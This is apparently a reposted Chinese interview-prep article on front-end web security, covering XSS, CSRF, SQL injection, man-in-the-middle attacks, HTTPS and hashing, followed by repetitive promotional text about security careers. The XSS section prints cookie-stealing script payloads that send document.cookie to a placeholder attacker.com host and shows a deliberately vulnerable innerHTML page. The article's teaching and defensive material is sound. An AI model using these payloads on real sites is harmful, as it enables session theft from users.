IT评测·应用市场-qidao123.com

标题: 前端必知的Web安全知识（狙击面试知识点） [打印本页]
作者: 不到断气不罢休    时间: 2025-3-11 00:21
标题: 前端必知的Web安全知识（狙击面试知识点）
你真的懂Web安全吗？比如下面的几个下题目
     如果以上题目还有狐疑的地方，接待往下阅读，本文将用浅近易懂的语言带你快速了解Web安全。
Web安全是指保护Web应用步伐免受恶意攻击和滥用的过程。攻击者可以通过Web漏洞来使用应用步伐并盗取敏感信息、执行未经授权的操纵或粉碎应用步伐。
一. XSS

1.1 基本概念

   xss 全程是 Cross Site Scripting，跨站脚本攻击，是为了克制与css混淆，以是叫xss
  PS： 着实很多现代浏览器大概现代框架都有对XSS做处理，但复杂应用场景，仍然是XSS繁殖的温床，我们有必要了解XSS攻击的原理和手段
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.   <title>My App</title>
  5.   <style>
  6.     .App {
  7.       text-align: center;
  8.     }
  10.     .App-header {
  11.       background-color: #282c34;
  12.       min-height: 100vh;
  13.       display: flex;
  14.       flex-direction: column;
  15.       align-items: center;
  16.       justify-content: center;
  17.       font-size: calc(10px + 2vmin);
  18.       color: white;
  19.     }
  20.   </style>
  21. </head>
  22. <body>
  23.   <div class="App">
  24.     <header class="App-header">
  25.       <p id="name"></p>
  26.     </header>
  27.   </div>
  29.   <script>
  30.     window.onload = function() {
  31.       const params = new URLSearchParams(window.location.search);
  32.       const name = params.get('name');  // 获取name参数
  33.       document.getElementById('name').innerHTML = name;
  34.     };
  35.   </script>
  36. </body>
  37. </html>
复制代码
1.2 XSS攻击原理

攻击者通过向页面注入恶意脚本实现攻击。
1.3 模拟场景

1.2.1 反射型XSS攻击 （非长期型）

将恶意脚本注入到URL参数中。攻击者通常会将包罗恶意脚本的链接通过垂纶邮件、社交网络等方式发送给受害者，诱导他们点击链接。
反射型XSS攻击的特点是恶意脚本只在用户点击链接后被执行，而不是存储在服务器上。
场景伪代码模拟

例如，如果某个网站直接将url参数不做处理设置为html内容:
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.   <title>My App</title>
  5. </head>
  6. <body>
  7.   <div class="App">
  8.     <header class="App-header">
  9.       <p id="name"></p>
  10.     </header>
  11.   </div>
  13.   <script>
  14.     window.onload = function() {
  15.       const params = new URLSearchParams(window.location.search);
  16.       const name = params.get('name');  // 获取name参数
  17.       document.getElementById('name').innerHTML = name;
  18.     };
  19.   </script>
  20. </body>
  21. </html>
复制代码
攻击者伪造了如下url链接，通过在参数中注入恶意脚本
  1. http://www.example.com/search.php?name=<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = `https://www.attacker.com？usercookie=${cooke};`xhr.open('GET', url); xhr.send();</script>
复制代码
在这个URL中，攻击者将恶意脚本代码 <script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = 'https://www.attacker.com;x // 发送GET请求 xhr.open('GET', url); xhr.send();</script> 注入到了 name 参数中。
当用户在浏览器中访问这个URL时，Web应用步伐会将这个参数值取出来，并将它显现在页面上，从而使恶意脚本代码被执行。这段伪代码大概就实现了获取用户cookie，并发送到黑客的服务器上。
1.2.2 存储型XSS攻击 (长期型)

存储型XSS攻击则是攻击者将恶意脚本代码存储到Web应用步伐的数据库中，然后在其他用户访问这个Web应用步伐时，将恶意脚本代码注入到页面中，从而实现攻击。
场景伪代码模拟

具体来说，攻击者通常会在Web应用步伐的输入框中输入恶意脚本代码，例如在有评论区的页面中输入评论
  1.         script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = `https://www.attacker.com？usercookie=${cooke};`xhr.open('GET', url); xhr.send();</script>
复制代码
当Web应用步伐将这个恶意脚本代码存储到数据库中，并将它显现给其他用户时，恶意脚本代码就会在这些用户的浏览器中执行，从而实现攻击。存储型XSS攻击比反射型XSS攻击更危险，由于攻击者只必要注入一次恶意代码，就可以攻击多个用户，而反射型XSS攻击则必要攻击者每次都构造不同的URL，才能攻击不同的用户。
1.4 攻击危害

XSS攻击的危害紧张包括以下几个方面：

1.5 常用Web漏洞

在说防范步伐前，先总结下XSS通常使用的漏铜
1.6 防范步伐

1. 对用户的输入进行验证过滤

验证和过滤的目的是确保用户输入的数据符合预期的格式和内容，克制恶意脚本或非法字符的注入。验证和过滤一样平常使用正则表达式或其他相关函数对输入的数据进行处理。
，我们可以使用一些开源的防范XSS攻击的库来过滤用户输入的数据。例如在Node.js中，我们可以使用xss或sanitize-html等库来进行数据过滤。
下面是一个示例代码，使用正则表达式过滤掉一些特别字符：
  1. function filterInput(input) {
  2.   const filteredInput = input.replace(/[^\w\s]/gi, '');
  3.   return filteredInput;
  4. }
  6. const userInput = "<script>alert('Hello World!');</script>";
  7. const filteredInput = filterInput(userInput);
  8. console.log(filteredInput); // output: alertHello World
复制代码
在上面的代码中，我们定义了一个filterInput函数，该函数使用正则表达式过滤掉非字母、数字和空格的字符。我们调用该函数时，将用户输入的数据作为参数传入，并获取到过滤后的数据。
2. 对输出到页面的内容进行转义

转义的目的是将输出到页面的数据进行转换，克制被浏览器误解为HTML代码，从而克制XSS攻击的发生。
1.1 HTML实体编码转义

  1. // 通常需要转义的字符
  2. //  <、>、"、&、/、 &
  4. function escapeHtml(str) {
  5.         return str.replace(/[&<>"']/g,
  6.          function(match) {
  7.                   switch (match) {
  8.                           case '&': return '&amp;';
  9.                           case '<': return '&lt;';
  10.                           case '>': return '&gt;';
  11.                           case '"': return '&quot;';
  12.                           case "'": return '&#39;';
  13.                   }
  14.         }
  15.         );
  16. }
复制代码
转义这些字符的缘故起因分析：
   举例说明： 假设我们有一个输入框，用户可以输入自己的名字。如果用户输入的名字中包罗了 & 符号，并且我们没有进行转义处理，那么就可能会导致XSS攻击。
  例如，恶意攻击者可以构造一个名字为 John&<script>alert('XSS');</script>，这个名字包罗了 & 符号和脚本代码，如果我们直接将这个名字显示在页面上，就会触发XSS攻击。
   1.2 JavaScript字符串转义：

将JavaScript字符串中的特别字符转换为对应的转义字符。例如，将反斜杠 () 转义为 \\，将换行符 (\n) 转义为 \n，将制表符 (\t) 转义为 \t。示例代码如下：
  1.         function escapeJsString(str) {
  2.                 return str.replace(/[\\'"]/g, function(match) {
  3.                         switch (match) {
  4.                                 case '\\': return '\\\\';
  5.                                 case "'": return "\\'";
  6.                                 case '"': return '\"';
  7.                 }
  8.         }); }
复制代码
1.3 URL编码转义

将URL中的特别字符转换为对应的URL编码。例如，将空格转换为 %20，将加号 (+) 转换为 %2B，将问号 (?) 转换为 %3F。示例代码如下：
  1. function escapeUrl(str) {   return encodeURIComponent(str); }
复制代码
必要注意的是，不同的转义方式可能适用于不同的场景和需求，我们必要根据具体的应用步伐，选择合适的转义方式来防范XSS攻击。同时，转义只是一种防范XSS攻击的步伐，还必要联合其他安全步伐，例如输入验证、输出过滤、Cookie安全标志等，来进步应用步伐的安全性。
在前端开发中，通常可以使用一些转义函数来进行转义处理，例如JavaScript中的escape和encodeURIComponent函数，以及jQuery中的.escapeSelector和.escapeSelector和.escapeSelector和.html函数等。这些函数可以帮助我们快速地对特别字符进行转义处理，从而进步应用步伐的安全性和正确性。
3. 使用HTTPOnly Cookie

使用HTTPOnly Cookie可以防止恶意脚本通过document.cookie获取用户的Cookie信息。以下是一个设置HTTPOnly Cookie的示例：
  1. const http = require('http');
  3. http.createServer((req, res) => {
  4.   res.writeHead(200, {
  5.     'Set-Cookie': 'mycookie=value; HttpOnly'
  6.   });
  7.   res.end('Hello, world!');
  8. }).listen(3000);
复制代码
4. 设置CSP

CSP（Content Security Policy）, CSP允许我们通过在HTTP响应头中设置一个计谋，来告诉浏览器只信托特定的资源来源。当浏览器吸收到这个计谋时，会根据计谋限定资源的加载和执行，从而进步Web应用步伐的安全性。
  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self'">
复制代码
二. CSRF

2.1 基本概念

CSRF（Cross-site request forgery）跨站请求伪造，攻击者通过伪造用户请求，使用户在不知情的情况下执行某些操纵，例如发送邮件、转账等。
2.3 攻击原理

笔者在一局面试中曾遇到以下场景
   面试官： CSRF攻击的底层原理是什么？
  笔者： 通过盗用了了用户的身份。比如用户已经在a网站登岸balabala
  面试官： 这不是底层原理，你应该从浏览器的协议的底层来讲，CSRF到底是使用了什么特性
  笔者 ： 一脸懵逼
  面试官： 提示你一下，这里是由于cookie是吗，着实是cookie的什么特性，是为了办理什么题目而又引入了什么题目
  笔者： 更大的懵逼
  从网络底层协议（紧张是 HTTP 协议）的角度来看，CSRF（Cross-Site Request Forgery，跨站请求伪造）攻击可以或许乐成紧张是使用同源计谋的漏洞
综合起来

攻击者诱导用户访问一个恶意网站，在这个网站中嵌入一个自动发起请求到目标网站（比如银行网站）的代码。由于简单请求浏览器会自动附带目标网站的 Cookie，而服务器又无法区分这个请求是用户自愿发起还是被 CSRF 攻击触发的，因此攻击就有可能乐成。
防御 CSRF 攻击通常必要在应用层面加以防范，例如引入 CSRF Token、检查请求的 Referer 等。
   !!! 要区分好原理和场景，攻击的原理应该是从浏览器中http协议的特点来讲，而不是讲场景。
  2.4 模拟场景

攻击者通常必要知道用户已经登录了某个网站，然后通过某种方式诱导用户访问一个恶意网站或点击恶意链接。恶意网站会自动发送伪造的请求到被攻击网站，使用用户已经登录了被攻击网站的Cookie等身份验证信息，执行一些危害性操纵，例如修改用户信息、发起转账等。
一个简单的模拟场景可以是，在被攻击网站A上，用户已经登录并保留了身份验证信息，攻击者构造一个伪造的请求页面B，并在该页面中构造一个伪造请求的表单，其中包罗被攻击网站A的某个操纵的请求参数，同时向该操纵的目标URL发起请求，使用用户在网站A中的身份验证信息，实现伪造请求。
2.5 攻击危害

CSRF攻击可以导致许多危害性的后果，例如：

2.6 防范步伐

为了防范CSRF攻击，我们可以采取以下步伐：
  1. const express = require('express');
  2. const app = express();
  4. // 定义敏感操作的路由
  5. app.get('/sensitive', (req, res) => {
  6.   const allowedIPs = ['127.0.0.1', '192.168.0.1']; // 允许访问的IP地址列表
  7.   const clientIP = req.ip; // 获取客户端IP地址
  9.   // 检查客户端IP是否在允许访问的IP地址列表中
  10.   if (allowedIPs.includes(clientIP)) {
  11.     // 符合条件，执行敏感操作
  12.     // TODO: 在此处执行敏感操作的代码
  13.     res.send('Sensitive operation executed successfully');
  14.   } else {
  15.     // 不符合条件，拒绝访问
  16.     res.status(403).send('Access denied');
  17.   }
  18. });
  20. // 启动服务器
  21. app.listen(3000, () => {
  22.   console.log('Server started on port 3000');
  23. });
复制代码
  1. Set-Cookie: mycookie=value; SameSite=Strict
复制代码
总之，CSRF攻击是一种常见的Web攻击，可以通过验证来源、使用CSRF Token、限定访问、禁用第三方Cookie、对用户操纵进行二次确认等方式进行防范。
三. SQL注入

3.1 基本概念

SQL注入是一种常见的攻击方式，攻击者通过在应用步伐的输入框等地方输入恶意代码，以获取或篡改数据库中的数据。攻击者可以使用这种漏洞，绕过登录、获取敏感数据等。
3.2 攻击原理

攻击者向应用步伐提交带有恶意SQL代码的请求，如果应用步伐没有对输入进行过滤或验证，那么恶意代码就可以被执行，从而访问或篡改数据库中的数据。
3.3 危害

SQL注入可以造成严峻的安全题目，例如修改、删除、泄露数据库中的数据，以及拿到管理员账户和暗码等。
3.4 防范步伐

克制拼接SQL语句，使用参数化的SQL语句，对用户输入的数据进行过滤和验证，设置精良的用户权限，定期进行安全漏洞扫描等。
四. 中间人攻击

4.1 基本概念

中间人攻击是攻击者通过劫持网络传输的数据包，获取敏感信息。例如，在用户登录网银时，攻击者可以通过劫持数据包的方式，获取用户的账号和暗码等信息。
4.2 原理

攻击者可以在用户和服务器之间插入自己的署理服务器，将用户发送的请求转发到服务器，同时也可以或许获取服务器返回的响应数据。攻击者可以修改数据包中的内容，从而获取敏感信息。
4.3 危害

中间人攻击可以获取用户的敏感信息，例如账户暗码、银行卡号等，从而造成财产丧失和个人信息泄露等安全题目。
4.4 防范步伐

4.4.1 睁开： Https加密的过程是怎么样的？

在这个过程中，客户端必要对服务器证书进行验证。这个过程可以分为以下几个步骤：
当证书验证通过后，客户端可以安全地天生对称密钥并发送给服务器，如许中间人就无法获得加密的通讯内容。
   注意： HTTPS在握手阶段会使用非对称加密，而在通讯阶段则会使用对称加密。如许做的缘故起因是对称加密算法的加密速率比非对称加密算法要快很多，对于数据通讯的实时性要求较高的场景更加得当。同时，在HTTPS握手阶段使用非对称加密算法，可以保证传输过程中密钥的安全性，防止中间人攻击等安全威胁。
  4.4.2 暗码套件

Https中客户端必要告知服务端自己支持的暗码套件，这里具体解释下
暗码套件（Cipher Suite）是一组暗码学算法和协议，用于保护网络通讯的秘密性、完备性和身份认证。一个暗码套件包罗以下几个部门：
一个暗码套件可以包罗多个算法，这些算法的选择和组合可以影响TLS或SSL协议的安全性和性能。通常，一个暗码套件应该既要提供足够的安全性，又要尽可能地减少通讯的延迟和负担。
五. 加密算法

对称加密算法：

如DES、3DES、AES等。对称加密算法加密解密使用同一个密钥，加密速率快，得当加密大量数据。但是密钥的分发和管理比较麻烦，而且密钥泄露会导致所有数据都暴露。
非对称加密算法：

如RSA、DSA、ECC等。非对称加密算法加密解密使用不同的密钥，公钥公开，私钥保密。公钥加密的数据只能使用私钥解密，私钥加密的数据只能使用公钥解密。非对称加密算法安全性高，但是加密速率慢，得当加密少量数据。
哈希算法（择要算法）：

如MD5、SHA等。哈希算法不可逆，无法从哈希值还原原始数据。哈希算法常用于暗码存储和消息完备性验证。
常见的哈希算法包括以下几种：
一样平常来说，在暗码存储中会选择具有较高安全性和抗碰撞攻击的哈希算法。常见的选择是SHA-256和bcrypt。下面对这两种算法进行简要介绍：
   小结： 暗码加密用sha256、检验内容完备性常用md5
   选择合适的暗码哈希算法必要综合思量安全性、性能和可用性等因素。除了算法自己的安全性外，还应注意以下几点：

必要根据具体应用的安全要求和性能需求进行选择，并在实现时遵循最佳实践。此外，安全领域的技术和威胁也在不断演进，以是建议关注暗码存储的最新安全建媾和行业标准。
这些哈希算法在各种场景中发挥着紧张作用，包括但不限于：

   PS： 以前https基于ssl协议，但由于存在安全漏洞，目前已被TLS协议代替
  六. 安全设置 & 安全监控（服务端）

6.1 安全设置

安全设置是指在后端体系中进行的一系列安全设置，旨在保障体系的安全性。以下是几个常见的安全设置步伐：
6.2 安全监控

七. 安全小测验： 计划一个登录体系

以下非标准答案，仅供参考。
   暗码加密中的公私钥
  服务端天生: 公钥和私钥通常由服务端天生。
  通过安全通道发送: 公钥可以通过HTTPS安全地发送到前端。
  数字证书: 公钥也可以嵌入在数字证书中，由受信托的证书颁发机构（CA）签订。
   八. 小结

题外话

初入盘算机行业的人大概大学盘算机相关专业毕业生，很多因缺少实战经验，就业到处碰壁。下面我们来看两组数据：
2023届天下高校毕业生预计到达1158万人，就业形势严峻；
国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。
6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业陈诉》《2023年中国高职生就业陈诉》）正式发布。
2022届大学毕业生月收入较高的前10个专业
本科盘算机类、高职自动化类专业月收入较高。2022届本科盘算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科盘算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。
具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均到达了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳固至关紧张的因素之一。
网络安全行业特点

1、就业薪资非常高，涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而天下各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全陈诉》猜测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

行业发展空间大，岗位非常多
网络安全行业财产以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗出工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据判定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、劫难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性，尤其是把握工作中的焦点网络架构、安全技术，在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一起看涨，这也是为什么受大家接待的紧张缘故起因。
从某种水平来讲，在网络安全领域，跟大夫职业一样，越老越吃香，由于技术愈加成熟，天然工作会受到重视，升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。
1.学习路线图

行业发展空间大，岗位非常多
网络安全行业财产以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗出工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据判定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、劫难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性，尤其是把握工作中的焦点网络架构、安全技术，在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一起看涨，这也是为什么受大家接待的紧张缘故起因。
从某种水平来讲，在网络安全领域，跟大夫职业一样，越老越吃香，由于技术愈加成熟，天然工作会受到重视，升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。
1.学习路线图

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗出测试基础、漏洞详解、盘算机基础知识等，都是网络安全入门必知必会的学习内容。
3.技术文档和电子书

技术文档也是我自己整理的，包括我到场大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。
4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受接待的几十款款黑客工具。涉及范围紧张集中在 信息收集、Android黑客工具、自动化工具、网络垂纶等，感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包，必要的话也可以拿走。
这些题目都是大家在面试笃信服、奇安信、腾讯大概其它大厂面试时经常遇到的，如果大家有好的题目大概好的看法接待分享。
参考剖析：笃信服官网、奇安信官网、Freebuf、csdn等
内容特点：条理清晰，含图像化表示更加易懂。
内容概要：包括 内网、操纵体系、协议、渗出测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包罗、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…


免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。



欢迎光临 IT评测·应用市场-qidao123.com (https://dis.qidao123.com/) Powered by Discuz! X3.4